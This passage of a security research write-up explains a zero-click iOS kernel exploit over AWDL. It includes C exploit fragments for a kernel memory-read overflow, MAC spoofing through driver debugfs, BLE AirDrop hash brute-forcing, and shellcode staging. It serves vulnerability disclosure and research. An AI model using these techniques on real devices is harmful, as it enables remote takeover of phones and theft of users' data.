MAC: 2 - netlink\n\nThe current supported interface is [netlink](<https://www.linuxjournal.com/article/7356>). It took a whole day to learn enough about netlink to write a standalone PoC to change a MAC address. Netlink is presumably very powerful but also quite obtuse. And even after all that (perhaps unsurprisingly) it's no faster than the command line tool which is really just making these same netlink API calls too.\n\n** \n**\n\nCheck out change_mac_nl.c in the released exploit source code to see the netlink code.\n\n** \n**\n\nThree ways to set a MAC: 3 - hacker\n\nTrying to do this the supported way has failed, it's just way too slow. But thinking about it, what is the MAC anyway? It's almost certainly just some field stored in flash or RAM on the chipset and yes, diving in to the [mt76x2u linux kernel driver source](<https://github.com/openwrt/mt76/blob/27670514328f9ec4e64b57ea7cb54d8594dcefa0/mt76x02_mac.c>) and tracing the functions which set the MAC address we can see that ends up writing to some configuration registers on the chip:\n\n** \n**\n\n#### #define MT_MAC_ADDR_DW0 0x1008\n\n#### #define MT_MAC_ADDR_DW1 0x100c\n\n#### \n\n#### void mt76x02_mac_setaddr(struct mt76x02_dev *dev, const u8 *addr)\n\n#### {\n\n#### static const u8 null_addr[ETH_ALEN] = {};\n\n#### int i;\n\n#### \n\n#### ether_addr_copy(dev->mt76.macaddr, addr);\n\n#### \n\n#### if (!is_valid_ether_addr(dev->mt76.macaddr)) {\n\n#### eth_random_addr(dev->mt76.macaddr);\n\n#### dev_info(dev->mt76.dev,\n\n#### \"Invalid MAC address, using random address %pM\\n\",\n\n#### dev->mt76.macaddr);\n\n#### }\n\n#### \n\n#### mt76_wr(dev,\n\n#### MT_MAC_ADDR_DW0,\n\n#### get_unaligned_le32(dev->mt76.macaddr));\n\n#### \n\n#### mt76_wr(dev,\n\n#### MT_MAC_ADDR_DW1,\n\n#### get_unaligned_le16(dev->mt76.macaddr + 4) |\n\n#### FIELD_PREP(MT_MAC_ADDR_DW1_U2ME_MASK, 0xff));\n\n#### ...\n\n** \n**\n\nI wonder if I could just write directly to those configuration registers? Would it completely blow up? Or would it just work? Is there an easy way to do this or will I have to patch the driver?\n\n** \n**\n\nLooking around the driver a bit we can see it has a [debugfs](<https://lwn.net/Articles/115405/>) interface. Debugfs is a very neat way for drivers to easily expose lots of internal stuff out to userspace, restricted to root, for logging and monitoring as well as for messing around with:\n\n** \n**\n\n#### root@raspberrypi:/sys/kernel/debug/ieee80211/phy7/mt76# ls\n\n#### agc ampdu_stat dfs_stats edcca eeprom led_pin queues rate_txpower regidx regval temperature tpc tx_hang_reset txpower\n\n** \n**\n\nWhat we're after is a way to write to arbitrary control registers, and these two debugfs files let you do exactly that:\n\n** \n**\n\n#### # cat regidx\n\n#### 0\n\n#### # cat regval\n\n#### 0x76120044\n\n** \n**\n\nIf you write the address of the configuration register you want to read or write to the regidx file as a decimal value then reading or writing the regval file lets you read or write that configuration register as a 32-bit hexadecimal value. Note that exposing configuration registers this way is a feature of this particular driver's debugfs interface, not a generic feature of debugfs. With this we can completely skip the netlink interface and the requirement to bring the device down and instead directly manipulate the internal state of the adaptor.\n\n** \n**\n\nI replace the netlink code with this:\n\n** \n**\n\n#### void mt76_debugfs_change_mac(char* phy_str, struct ether_addr new_mac) {\n\n#### union mac_dwords {\n\n#### struct ether_addr new_mac;\n\n#### uint32_t dwords[2];\n\n#### } data = {0};\n\n#### \n\n#### data.new_mac = new_mac;\n\n#### \n\n#### char lower_dword_hex_str[16] = {0};\n\n#### snprintf(lower_dword_hex_str, 16, \"0x%08x\\n\", data.dwords[0]);\n\n#### \n\n#### char upper_dword_hex_str[16] = {0};\n\n#### snprintf(upper_dword_hex_str, 16, \"0x%08x\\n\", data.dwords[1]);\n\n#### \n\n#### char* regidx_path = NULL;\n\n#### asprintf(&regidx_path,\n\n#### \"/sys/kernel/debug/ieee80211/%s/mt76/regidx\",\n\n#### phy_str);\n\n#### \n\n#### char* regval_path = NULL;\n\n#### asprintf(&regval_path,\n\n#### \"/sys/kernel/debug/ieee80211/%s/mt76/regval\",\n\n#### phy_str);\n\n#### \n\n#### file_write_string(regidx_path, \"4104\\n\");\n\n#### file_write_string(regval_path, lower_dword_hex_str);\n\n#### \n\n#### file_write_string(regidx_path, \"4108\\n\");\n\n#### file_write_string(regval_path, upper_dword_hex_str);\n\n#### \n\n#### free(regidx_path);\n\n#### free(regval_path); \n\n#### }\n\n** \n**\n\nand... it works! The adaptor instantly starts ACKing frames to whichever MAC address we write in to the MAC address field in the adaptor's configuration registers.\n\n** \n**\n\nAll that's then required is a rewrite of the early read code:\n\n** \n**\n\nNow it starts out steering 8 stalled peers. Each time a read is requested, if there's still time left before steering will timeout and there are still stalled peers, one stalled peer is chosen, has it's steering_msg_blob pointer corrupted with the read target and gets unstalled. The target will start sending UMIs to that peer, we set the correct MAC address on the active monitor device, sniff the UMI and ACK it to stop the peer sending more. From the UMI we extract the value from TLV 0x1d and get the disclosed kernel memory.\n\n** \n**\n\nIf there are no more stalled peers, or steering has timed out, we wait a safe amount of time until we're able to restart all 8 peers and start again:\n\n** \n**\n\n#### struct ether_addr reader_peers[8];\n\n#### \n\n#### struct early_read_params {\n\n#### struct ether_addr dst;\n\n#### char* phy_str;\n\n#### } er_para;\n\n#### \n\n#### void init_early_read(struct ether_addr dst, char* phy_str) {\n\n#### er_para.dst = dst;\n\n#### er_para.phy_str = phy_str;\n\n#### \n\n#### reader_peers[0] = *(ether_aton(\"22:22:aa:22:00:00\"));\n\n#### reader_peers[1] = *(ether_aton(\"22:22:aa:22:00:01\"));\n\n#### reader_peers[2] = *(ether_aton(\"22:22:aa:22:00:02\"));\n\n#### reader_peers[3] = *(ether_aton(\"22:22:aa:22:00:03\"));\n\n#### reader_peers[4] = *(ether_aton(\"22:22:aa:22:00:04\"));\n\n#### reader_peers[5] = *(ether_aton(\"22:22:aa:22:00:05\"));\n\n#### reader_peers[6] = *(ether_aton(\"22:22:aa:22:00:06\"));\n\n#### reader_peers[7] = *(ether_aton(\"22:22:aa:22:00:07\"));\n\n#### }\n\n#### \n\n#### // state required between early reads:\n\n#### uint64_t steering_begin_timestamp = 0;\n\n#### int n_steered_peers = 0;\n\n#### \n\n#### void* try_early_read(uint64_t kaddr, size_t* out_size) {\n\n#### struct ether_addr peer_b = *(ether_aton(\"22:22:bb:22:00:00\"));\n\n#### int n_peers = 8;\n\n#### struct ether_addr reader_peer;\n\n#### int should_restart_steering = 0;\n\n#### \n\n#### // what phase are we in?\n\n#### \n\n#### uint64_t milliseconds_since_last_steering =\n\n#### (now_nanoseconds() - steering_begin_timestamp) /\n\n#### (1ULL*1000ULL*1000ULL);\n\n#### \n\n#### if (milliseconds_since_last_steering < 5000 &&\n\n#### n_steered_peers < 8) {\n\n#### // if less than 5 seconds have elapsed since we started steering\n\n#### // and we haven't reached the peer limit, then steer the next peer\n\n#### \n\n#### reader_peer = reader_peers[n_steered_peers++];\n\n#### \n\n#### } else if (milliseconds_since_last_steering < 8000) {\n\n#### // wait for the steering machine to timeout so we can restart it\n\n#### usleep((8000 - milliseconds_since_last_steering) * 1000);\n\n#### should_restart_steering = 1;\n\n#### } else {\n\n#### // more than 8 seconds have already elapsed since we last \n\n#### //started steering (or we've never started it) so restart\n\n#### should_restart_steering = 1;\n\n#### }\n\n#### \n\n#### if (should_restart_steering) {\n\n#### // make reader peers suitable for bss steering\n\n#### n_steered_peers = 0;\n\n#### \n\n#### for (int i = 0; i < n_peers; i++) {\n\n#### inject(RT(),\n\n#### WIFI(er_para.dst, reader_peers[i]),\n\n#### AWDL(),\n\n#### SYNC_PARAMS(),\n\n#### CHAN_SEQ_EMPTY(),\n\n#### HT_CAPS(),\n\n#### UNICAST_DATAPATH(0x1307 | 0x800),\n\n#### PKT_END());\n\n#### }\n\n#### \n\n#### inject(RT(),\n\n#### WIFI(er_para.dst, peer_b),\n\n#### AWDL(),\n\n#### SYNC_PARAMS(),\n\n#### HT_CAPS(),\n\n#### UNICAST_DATAPATH(0x1307),\n\n#### BSS_STEERING_0(reader_peers, n_peers),\n\n#### PKT_END());\n\n#### \n\n#### steering_begin_timestamp = now_nanoseconds();\n\n#### reader_peer = reader_peers[n_steered_peers++];\n\n#### }\n\n#### \n\n#### char overflower[128] = {0};\n\n#### *(uint64_t*)(&overflower[0x50]) = kaddr;\n\n#### \n\n#### // set the card's MAC to ACK the UMI from the target\n\n#### mt76_debugfs_change_mac(er_para.phy_str, reader_peer);\n\n#### \n\n#### inject(RT(),\n\n#### WIFI(er_para.dst, reader_peer),\n\n#### AWDL(),\n\n#### SYNC_PARAMS(),\n\n#### SERV_PARAM(),\n\n#### HT_CAPS(),\n\n#### DATAPATH(reader_peer),\n\n#### SYNC_TREE((struct ether_addr*)overflower,\n\n#### sizeof(overflower)/sizeof(struct ether_addr)),\n\n#### PKT_END());\n\n#### \n\n#### // try to receive a UMI:\n\n#### void* steering_tlv = try_get_TLV(0x1d);\n\n#### \n\n#### if (steering_tlv) {\n\n#### struct mini_tlv {\n\n#### uint8_t type;\n\n#### uint16_t len;\n\n#### } __attribute__((packed));\n\n#### *out_size = ((struct mini_tlv*)steering_tlv)->len+3;\n\n#### } else {\n\n#### printf(\"didn't get TLV\\n\");\n\n#### }\n\n#### \n\n#### // NULL out the bsssteering blob\n\n#### char null_overflower [128] = {0};\n\n#### inject(RT(),\n\n#### WIFI(er_para.dst, reader_peer),\n\n#### AWDL(),\n\n#### SYNC_PARAMS(),\n\n#### SERV_PARAM(),\n\n#### HT_CAPS(),\n\n#### DATAPATH(reader_peer),\n\n#### SYNC_TREE((struct ether_addr*)null_overflower,\n\n#### sizeof(null_overflower)/sizeof(struct ether_addr)),\n\n#### PKT_END());\n\n#### \n\n#### // the active monitor interface doesn't always manage to ACK\n\n#### // the first frame, give it a chance\n\n#### usleep(1*1000);\n\n#### \n\n#### return steering_tlv;\n\n#### }\n\n# Demo\n\nWith some luck we can bootstrap the faster read primitive with 8 or fewer early reads which means on an iPhone 11 Pro with AWDL enabled popping calc now looks like this:\n\n \n\n\n### In this demo AWDL has been manually enabled by opening the sharing panel in the Photos app. This keeps the AWDL interface active. The exploit gains arbitrary kernel memory read and write within a few seconds and is able to inject a signal into a userspace process to cause it to JOP to a single gadget which opens Calculator.app\n\n# Zero clicks\n\nI mentioned that AWDL has to be enabled, it isn't always on. In order to make this an interactionless zero-click exploit which can target any device in radio proximity we therefore need a way to force devices to enable their AWDL interface.\n\n** \n**\n\nAWDL is used for many things. For example, my iPhone seems to turn on AWDL when it receives a voicemail because it really wants to Airplay the voicemail to my Apple TV. But sending someone a voicemail requires their phone number, and we're looking for an attack which requires no identifiers or non-default settings.\n\n** \n**\n\nThe [second research paper from the SEEMOO labs team](<https://www.usenix.org/system/files/sec19fall_stute_prepub.pdf>) demonstrated an attack to enable AWDL using Bluetooth low energy advertisements to force arbitrary devices in radio proximity to enable their AWDL interfaces for Airdrop. SEEMOO didn't publish their code for this attack so I decided to recreate it myself.\n\n# Enabling AWDL\n\nIn the iOS photos app when you select the sharing dialog and click \"Airdrop\" a list of iOS and MacOS devices nearby appears, all of which you can send your photo to. Most people don't want random passers-by sending them unsolicited photos so the default AirDrop sharing setting is \"Contacts Only\" meaning you will only see AirDrop sharing requests from users in your contacts book. But how does this work? For an in-depth discussion, check out the SEEMOO labs paper.\n\n** \n**\n\nWhen a device wants to share a file via AirDrop it starts broadcasting a [bluetooth low-energy advertisements](<https://www.argenox.com/library/bluetooth-low-energy/ble-advertising-primer/>) which looks like this example, broadcast by MacOS:\n\n** \n**\n\n#### [PACKET] [ CH:37|CLK:1591031840.920892|RSSI:-44dBm ] << BLE - Advertisement Packet | type=ADV_IND | addr=28:C4:72:91:05:D7 | data=02010617ff4c000512000000000000000001297f247ee56f62b300 >>\n\n** \n**\n\nBLE advertisements are small, they have a maximum payload size of 31 bytes. The bundle of bytes at the end are actually four truncated 2-byte SHA256 hashes of the contact information of the device which is trying to share something. The contact information used are the email addresses and phone numbers associated with the device's logged-in iCloud account. You can generate the same truncated hashes like this:\n\n** \n**\n\nIn this case I'm using a test account with the iCloud email address: 'chris.donut1981@icloud.com'\n\n** \n**\n\n#### >>> import hashlib\n\n#### >>> s = 'chris.donut1981@icloud.com'\n\n#### >>> hashlib.sha256(s.encode('utf-8')).hexdigest()[:4] \n\n#### '62b3'\n\n** \n**\n\nNotice that this matches the two penultimate bytes in the advertisement frame shown above. The contact hashes are unsalted which [can have some fun consequences if you live in a country with localized mobile phone numbers](<https://hexway.io/research/apple-bleee/>), but this is an understandable performance optimization.\n\n** \n**\n\nAll iOS devices are constantly receiving and processing BLE advertisement frames like this. In the case of these AirDrop advertisements, when the device is in the default \"Contacts Only\" mode, sharingd (which parses BLE advertisements) checks whether this unsalted, truncated hash matches the truncated hashes of any emails or phone numbers in the device's address book.\n\n** \n**\n\nIf a match is found this doesn't actually mean the sending device really is in the receiver's address book, just that there is a contact with a colliding hash. In order to resolve this the devices need to share more information and at this point the receiver enables AWDL to establish a higher-bandwidth communication channel.\n\n** \n**\n\nThe SEEMOO labs paper continues in great detail about how the two devices then really verify that the sender is in the receiver's address book, but we are only trying to get AWDL enabled so we're done. As long as we keep broadcasting the advertisement with the colliding hash the target's AWDL interface will remain active.\n\n# Blue in the teeth\n\nThe SEEMOO labs team paper discusses the custom firmware they wrote for a BBC micro:bit so I picked up a couple of those:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPHzxlx2_5A1DXFX8vEXmszrvOqG_Orxkw4HvFgnRh0_18S5Swn8Q0lGQ-jUmEXRpxgEcqh7Ku414tkEmX8GelZJwFW_PzI63t5aUsawG0mfhrKG0t3KPMIgi2BVtbf7oFNnfI5OoRb8pnBfsacsxh0YmVNNs2tbn8zcYjgA7yika0i8bGOuJRQ3Jf/s1222/image26.jpg>)\n\n### The BBC micro:bit is an education-focused dev board. This photo shows the rear of the board; the front has a 5x5 LED matrix and two buttons. They cost under $20.\n\n** \n**\n\nThese devices are intended for the education/maker market. It's a [Nordic nRF51822 SOC](<https://www.nordicsemi.com/Products/Low-power-short-range-wireless/nRF51822>) with a [Freescale KL26](<https://www.nxp.com/docs/en/data-sheet/KL26P121M48SF4.pdf>) acting as a USB programmer for the nRF51. BBC provide a small programming environment for it, but you can build any firmware image for the nRF51, plug in the micro:bit which appears as a mass-storage device thanks to the KL26 and drag and drop the firmware image on there. The programmer chip flashes the nRF51 for you and you can run your code. This is the device which the SEEMOO labs team used and wrote a custom firmware for.\n\n** \n**\n\nWhilst playing around with the micro:bit I discovered the [MIRAGE](<https://github.com/RCayre/mirage>) project, a generic and amazingly well documented project for doing all manner of radio security research. Their tools have a firmware for the micro:bit, and indeed, dropping their provided firmware image on to the micro:bit and running this:\n\n** \n**\n\n#### sudo ./mirage_launcher ble_sniff SNIFFING_MODE=advertisements INTERFACE=microbit0\n\n** \n**\n\nwe're able to start sniffing BLE advertisements:\n\n** \n**\n\n#### [PACKET] [ CH:37|CLK:1591006615.511192|RSSI:-46dBm ] << BLE - Advertisement Packet | type=ADV_IND | addr=58:6A:80:4F:41:74 | data=02011a020a0707ff4c000f020000 >>\n\n** \n**\n\nIndeed, if you do this at home you'll likely see a barrage of BLE traffic from everything imaginable. Apple devices are particularly chatty, notice the frames sent each time your Airpods case is open and closed.\n\n** \n**\n\nIf we take a look at a couple of captured BTLE frames when we try to share a file via AirDrop, we can see there's clearly structure in there:\n\n** \n**\n\n#### MacOS:\n\n#### data=02010617ff4c000512000000000000000001fa5c2516bf07aba400\n\n#### iOS 13:\n\n#### data=02011a020a070eff4c000f05a035c928291002710c\n\n#### \n\n#### LEN APPL T L V\n\n#### 020106 17 ff 4c00 0512 000000000000000001 fa5c 2516 bf07 aba4 00\n\n#### 02011a020a07 0e ff 4c00 0f05 a035c92829 1002 710c\n\nDefinitely looks like more TLVs! With some reversing in sharingd we can figure out what these types are:\n\n** \n**\n\n#### \"Invalid\" 0x0\n\n#### \"Hash\" 0x1\n\n#### \"Company\" 0x2\n\n#### \"AirPrint\" 0x3\n\n#### \"ATVSetup\" 0x4\n\n#### \"AirDrop\" 0x5\n\n#### \"HomeKit\" 0x6\n\n#### \"Prox\" 0x7\n\n#### \"HeySiri\" 0x8\n\n#### \"AirPlayTarget\" 0x9\n\n#### \"AirPlaySource\" 0xa\n\n#### \"MagicSwitch\" 0xb\n\n#### \"Continuity\" 0xc\n\n#### \"TetheringTarget\" 0xd\n\n#### \"TetheringSource\" 0xe\n\n#### \"NearbyAction\" 0xf\n\n#### \"NearbyInfo\" 0x10\n\n#### \"WatchSetup\" 0x11\n\n** \n**\n\nMacOS is sending AirDrop messages in the BLE advertisements. iOS is sending NearbyAction and NearbyInfo messages.\n\n# Brute forcing SHA256, or two bytes of it at least\n\nFor testing purposes we want some contacts on the device. Like the SEEMOO labs paper I generated 100 random contacts using a modified version of the [AppleScript in this StackOverflow answer](<https://apple.stackexchange.com/questions/61632/script-to-create-iphone-contacts>). Each contact has 4 contact identifiers: home and work email, home and work phone numbers.\n\n** \n**\n\nWe can also use MIRAGE to prototype brute forcing through the 16 bit space of truncated contact hashes. I wrote a MIRAGE module to broadcast Airdrop advertisements with incrementing truncated hashes. The MIRAGE micro:bit firmware doesn't support arbitrary broadcast frame injection but it is able to use the Raspberry Pi 4's built-in bluetooth controller. Running it for a while and looking at the console output from the iPhone we notice some helpful log messages showing up in Console.app:\n\n** \n**\n\n#### Hashing: Error: failed to get contactsContainsShortHashes because (ratelimited)\n\n** \n**\n\nThe SEEMOO paper mentioned that they were able to brute force a truncated hash in a couple of seconds but it appears Apple have now added some rate limiting.\n\n** \n**\n\nSpoofing different BT source MAC addresses didn't help but slowing the brute force attempts to one every 2 seconds or so seemed to please the rate limiting and in around 30 seconds, with average luck AWDL gets enabled and MI and PSF frames start to appear on the AWDL social channels.\n\n** \n**\n\nAs long as we keep broadcasting the same advertisement with the matching contact hash the AWDL interface will remain active. I didn't want to keep MIRAGE as a dependency so I ported the python prototype to use the linux native libbluetooth library and [hci_send_cmd](<https://people.csail.mit.edu/albert/bluez-intro/x682.html>) to build custom advertisement frames:\n\n** \n**\n\n#### uint8_t payload[] = {0x02, 0x01, 0x06,\n\n#### 0x17,\n\n#### 0xff,\n\n#### 0x4c, 0x00, \n\n#### 0x05, \n\n#### 0x12, \n\n#### 0x00, 0x00, 0x00, 0x00,\n\n#### 0x00, 0x00, 0x00, 0x00, 0x01, \n\n#### \n\n#### hash1[0], hash1[1],\n\n#### hash2[0], hash2[1],\n\n#### hash3[0], hash3[1],\n\n#### hash4[0], hash4[1],\n\n#### \n\n#### 0x00};\n\n#### \n\n#### le_set_advertising_data_cp data = {0};\n\n#### data.length = sizeof(payload);\n\n#### memcpy(data.data, payload, sizeof(payload));\n\n#### hci_send_cmd(handle,\n\n#### OGF_LE_CTL,\n\n#### OCF_LE_SET_ADVERTISING_DATA,\n\n#### sizeof(payload)+1,\n\n#### &data);\n\n# Popping calc with zero clicks\n\nCombining the AWDL exploit and BLE brute-force, we get a new demo:\n\n \n\n\n### With the phone left idle on the home screen and no user interaction we force the AWDL interface to activate using BLE advertisements. The AWDL exploit gains kernel memory read write in a few seconds after starting and the entire end to end exploit takes around a minute.\n\n** \n**\n\nThere may well be better, faster ways to force-enable AWDL but for my demo this will do.\n\n# Let's run an implant!\n\nThis demo is neat but really doesn't convey that we've compromised almost all the user's data, with no interaction. We can read and write kernel memory remotely. I know that Apple has invested significant effort in \"post-exploitation\" hardening so I wanted to demonstrate that with just this single vulnerability these could be defeated to the point where I could run something like a real-world implant which we've seen being [deployed in real world exploitation against end users before](<https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html>). Trying to defend against an attacker with arbitrary memory read/write is a losing game, but there's a difference between saying that and you believing me, and proving it.\n\n# Speedy writer\n\nWe're going to need to write much more arbitrary data for this final step, so we need the arbitrary write to be even faster. There's one more optimization left.\n\n** \n**\n\nDue to the order in which loads and stores occur in actionFrameReport we were able to build a primitive which gave us a timestamp valid for up to 1024ms and a large n_frames_in_last_second value. We used that to do one arbitrary add, then restarted the whole setup: replaced upper_peer's timestamp with 0, sent another frame to get a fresh timestamp and so on.\n\n** \n**\n\nBut why can't we just keep using the first timestamp and bundle more writes together? We can, it's just very important to take care that we don't exceed that 1024ms window. The exploit takes a very conservative approach here and uses only a few extra milliseconds. The reason is that we're running as a regular userspace program on a small system. We don't have anything like real-time scheduling guarantees. [Linux kind-of supports running userspace programs on isolated cores](<https://lwn.net/Articles/816298/>) to give something like a real-time experience, but for getting this demo exploit running it was sufficient to boost the priority of the exploit process with nice and leave a large safety window in the 1024ms. The code tries to bundle large buffer writes in chunks of 16 which provides a reasonable speed up.\n\n# Physmapping\n\nWay back when I released the first demo exploit which disclosed random chunks of physical memory I had taken a look at how the physmap works on iOS.\n\n** \n**\n\nLinux, Windows and XNU all have physmaps; they are a very convenient way of manipulating physical memory when your code has paging enabled and can't directly manipulate physical memory any more.\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5AuEoFpis-Jx02GV4s8oJqPkvTyEmCnUR0r_HdGibdRVIhytSFGauvMPMO9PftbkTKdY2MA2ENcZTJhWQMRZTdr7TwRJ8FdOdryEN1Dmiq-RTXyq3JuMskupkGM_CV6BN09oaQB4ovkval0b_uHfOB4I4NXzq_0oN9btrKcpk21Lv28PikRZPfb6t/s624/image24.png>)\n\n### Abstractly, physmaps are virtual mappings of all of physical memory\n\n** \n**\n\nThe physmap is (typically) a 1:1 virtual mapping of physical memory. You can see in the diagram how the physical memory at the bottom might be split up into different regions, with some of those regions currently mapped in the kernel virtual address space. Some other physical memory regions might for example be used for userspace processes.\n\n** \n**\n\nThe physmap is the large kernel virtual memory region shown towards the right of the virtual address space, which is the same size as the amount of physical memory. The pagetables which translate virtual memory accesses in this region are set up in such a way that any access at an offset into the physmap virtual region gets translated to that same offset from the base of physical memory.\n\n** \n**\n\nThe physmap in XNU isn't set up exactly like that. Instead they use a \"segmented physical aperture\". In practise this means that they set up a number of smaller \"sub-physmaps\" inside the physmap region and populate a table called the PTOV table to allow translation from a physical address to a virtual address inside the physmap region:\n\n** \n**\n\n#### pa: 0x000000080e978000 kva: 0xfffffff070928000 len: 0xde03c000 (3.7GB)\n\n#### pa: 0x0000000808e14000 kva: 0xfffffff06ade4000 len: 0x05b44000 (95MB)\n\n#### pa: 0x0000000801b80000 kva: 0xfffffff066000000 len: 0x04cb8000 (80MB)\n\n#### pa: 0x0000000808d04000 kva: 0xfffffff06acf4000 len: 0x000f0000 (1MB)\n\n#### pa: 0x0000000808df4000 kva: 0xfffffff06acd4000 len: 0x00020000 (130kb)\n\n#### pa: 0x0000000808cec000 kva: 0xfffffff06acbc000 len: 0x00018000 (100kb)\n\n#### pa: 0x0000000808a80000 kva: 0xfffffff06acb8000 len: 0x00004000 (16kb)\n\n#### pa: 0x0000000808df4000 kva: 0xfffffff06acf4000 len: 0x00000000 (0kb)\n\n** \n**\n\nThere's one more important physical region not captured in the PTOV table which is the kernelcache image itself; this is found starting at gVirtBase and the kernel functions for translating between physical and physmap-virtual addresses take this into account.\n\n** \n**\n\nThe interesting thing is that the virtual protection of the pages in the physmap doesn't have to match the virtual protection of the pages as seen by a page table traversal from the perspective of a task. I wrote some test code using oob_timestamp to overwrite a portion of its own __TEXT segment in the physmap and it worked, allowing me to execute new native instructions. Could we execute userspace shellcode remotely by writing just directly into the physmap?\n\n# What happened to my physmap?\n\nThis works fine when prototyped using oob_timestamp modifying itself; but if you try to use it to target a system process, it panics. Something else is going on.\n\n# APRR, PPL and pmap_cs.\n\nThe canonical resource for [APRR is s1guza's blog post](<https://siguza.github.io/APRR/>). It's a hardware customization by Apple to add an extra layer of indirection to page protection lookups via a control register. The page-tables alone are no longer enough to determine the runtime memory protection of a page.\n\n** \n**\n\nAPRR is used in the Safari JIT hardening and in the kernel it's used to implement PPL (Page Protection Layer). For an [in-depth look at PPL check out Brandon Azad's recent blog post](<https://googleprojectzero.blogspot.com/2020/07/the-core-of-apple-is-ppl-breaking-xnu.html>).\n\n** \n**\n\nPPL uses APRR to dynamically switch the page protections of two kernel regions, a text region containing code and a data region. Normally the PPL text region is not executable and the PPL data region is not writable. Important data structures have been moved into this PPL data region, including page tables and pmaps (the abstraction layer above page tables). All the code which modifies objects inside PPL data has been moved inside the PPL text segment.\n\n** \n**\n\nBut if the PPL text is non-executable, how can you run the code to modify the PPL data regions? And how can you make them writable?\n\n** \n**\n\nThe only way to execute the code inside the PPL text region is to go through a trampoline function which flips the APRR register bits to make the PPL text region executable and the PPL data region writable before jumping to the provided ppl_routine. Obviously great care has to be taken to ensure only code inside PPL text runs in this state.\n\n** \n**\n\nBrandon likened this to a \"kernel inside the kernel\" which is a good way to look at it. Modifications to page tables and pmaps are now meant to only happen by the kernel making \"PPL syscalls\" to request the modifications, with the implementation of those PPL syscalls being inside the PPL text region. Check out Brandon's blog post for discussion of how to exploit a vulnerability in the PPL code to make those changes anyway!\n\n** \n**\n\nIt turns out that it's not just page tables and pmaps which PPL protects. Reversing more of the PPL routines there's a section of them starting around routine 38 which are implementing a new model of codesigning enforcement called pmap_cs.\n\n** \n**\n\nIndeed, this pmap_cs string appears in the released XNU source, though attempts have been made to strip as much of the PPL related code as possible from the open source release. The vm_map_entry structure has this new field:\n\n** \n**\n\n#### /* boolean_t */ pmap_cs_associated:1, /* pmap_cs will validate */\n\n** \n**\n\nFrom this code snippet from vm_fault.c it's pretty clear that pmap_cs is a new way to verify code signatures:\n\n** \n**\n\n#### #if PMAP_CS\n\n#### if (fault_info->pmap_cs_associated &&\n\n#### pmap_cs_enforced(pmap) &&\n\n#### !m->vmp_cs_validated &&\n\n#### !m->vmp_cs_tainted &&\n\n#### !m->vmp_cs_nx &&\n\n#### (prot & VM_PROT_EXECUTE) &&\n\n#### (caller_prot & VM_PROT_EXECUTE)) {\n\n#### /*\n\n#### * With pmap_cs, the pmap layer will validate the\n\n#### * code signature for any executable pmap mapping.\n\n#### * No need for us to validate this page too:\n\n#### * in pmap_cs we trust...\n\n#### */\n\n#### vm_cs_defer_to_pmap_cs++;\n\n#### } else {\n\n#### vm_cs_defer_to_pmap_cs_not++;\n\n#### vm_page_validate_cs(m);\n\n#### }\n\n#### #else /* PMAP_CS */\n\n#### vm_page_validate_cs(m);\n\n#### #endif /* PMAP_CS */\n\n** \n**\n\nvm_page_validate_cs is the old code-signing enforcement code, which can be easily tricked into allowing shellcode by changing the codesigning enforcement flags in the task's proc structure. The question is what determines whether the new pmap_cs model or the old approach is used?\n\n# A pmap_cs workaround\n\nThe fundamental question I'm trying to answer is why the physmap shellcode injection technique works for a test app I'm debugging, but not a system process, even when the system process's code signing flags have been modified such that it should be allowed to run unsigned code?\n\n** \n**\n\nWe can see a reference to pmap_cs_enforced in the snippet above but the definition of this method is stripped from the released XNU source code. With IDA we can see it's checking the byte at offset +0x108 in the pmap structure. Nowhere in the XNU code seems to manipulate this field though.\n\n** \n**\n\nReversing the pmap_cs PPL code we find that this field is referenced in pmap_cs_associate_internal_options, called by PPL routine 44.\n\n** \n**\n\nThis function has some helpful logging strings from which we can learn that it's being called to associate a code-signing structure with a virtual memory region. This code signing structure is a pmap_cs_code_directory, and we can determine from this panic log message:\n\n** \n**\n\n#### if (trust_level != 3) {\n\n#### panic(\"\\\"trying to enter a binary in nested region with too low trust level %d\\\"\", cd_entry->trust_level);\n\n#### }\n\n** \n**\n\nthat the field at +0x54 represents the \"trust level\" of the binary.\n\n** \n**\n\nFurther down the function we can see this:\n\n** \n**\n\n#### if ( trust_level != 1 )\n\n#### goto LABEL_38;\n\n#### pmap->pmap_cs_enforced = 0;\n\n#### ...\n\n#### return KERN_NOT_SUPPORTED;\n\n** \n**\n\nProbably my test apps signed by my developer certificate are getting this trust_level of 1 and therefore falling back to the old code-signing enforcement code. I had a hunch that maybe this also applied to third-party applications from the App Store; rather than painstakingly continuing to reverse engineer pmap_cs I just tried installing and running an App Store app (in this case, YouTube) on the phone then using oob_timestamp to dump the pmap structures for each running process. Indeed, there were three pmaps with pmap_cs_enforced set to 0: kernel_task (not so interesting because [KTRR](<https://googleprojectzero.blogspot.com/2019/10/ktrw-journey-to-build-debuggable-iphone.html>) protects the kernel TEXT segment), oob_timestamp and YouTube!\n\n** \n**\n\nThis means that we can use the remote kernel read/write to inject shellcode into any third-party app running on the device. Of course, we don't want the prerequisite that the target needs to be running a third-party application, so we can use the technique developed earlier to open the calculator to instead spawn a third-party app. If the device doesn't have any third-party applications installed this technique wouldn't work, but we already have kernel memory read/write so there are many more avenues available for running code in some form on the device. But for now, we'll assume the target device has at least one App Store app installed.\n\n# Uploading payloads\n\nOur arbitrary write is reasonably fast but still too slow for us to use it to write an entire payload into the physmap that way. Instead, let's create a staged loader.\n\n** \n**\n\nWe will try to write a minimal piece of initial shellcode via the physmap which will be run as the fake signal handler. Its only purpose will be to bootstrap a larger payload and jump to it. The idea will be to place fragments of our final payload in kernel memory which the bootstrap code will find, copy into userspace, make executable and jump to.\n\n# A useful memory leak\n\nEarlier I discussed the service_response technique for building a heap groom. I noted that this was an almost perfect heap grooming primitive: we control the size of the allocations and can place arbitrary bytes at arbitrary offsets within them. I also noted that it seemed to be a true memory leak as even when the AWDL interface is disabled, the memory never gets freed.\n\n** \n**\n\nThis also seems like a great primitive for staging our payload. All we need to do is figure out the address of the leaked memory.\n\n** \n**\n\nThe parser for the service response TLV (type 2) which causes the memory wraps the kalloc'ed buffer in an IO80211ServiceRequestDescriptor object. The pointer to the buffer is at offset +0x40 in there.\n\n** \n**\n\nThe IO80211ServiceRequestDescriptor is then enqueued into an IO80211CommandQueue in the IO80211AWDLPeerManager at +0x2968 which I've called response_fragments:\n\n** \n**\n\n#### peer_manager->response_fragments->lockEnqueue(response)\n\n** \n**\n\nThe lockEnqueue method calls ::enqueue which will 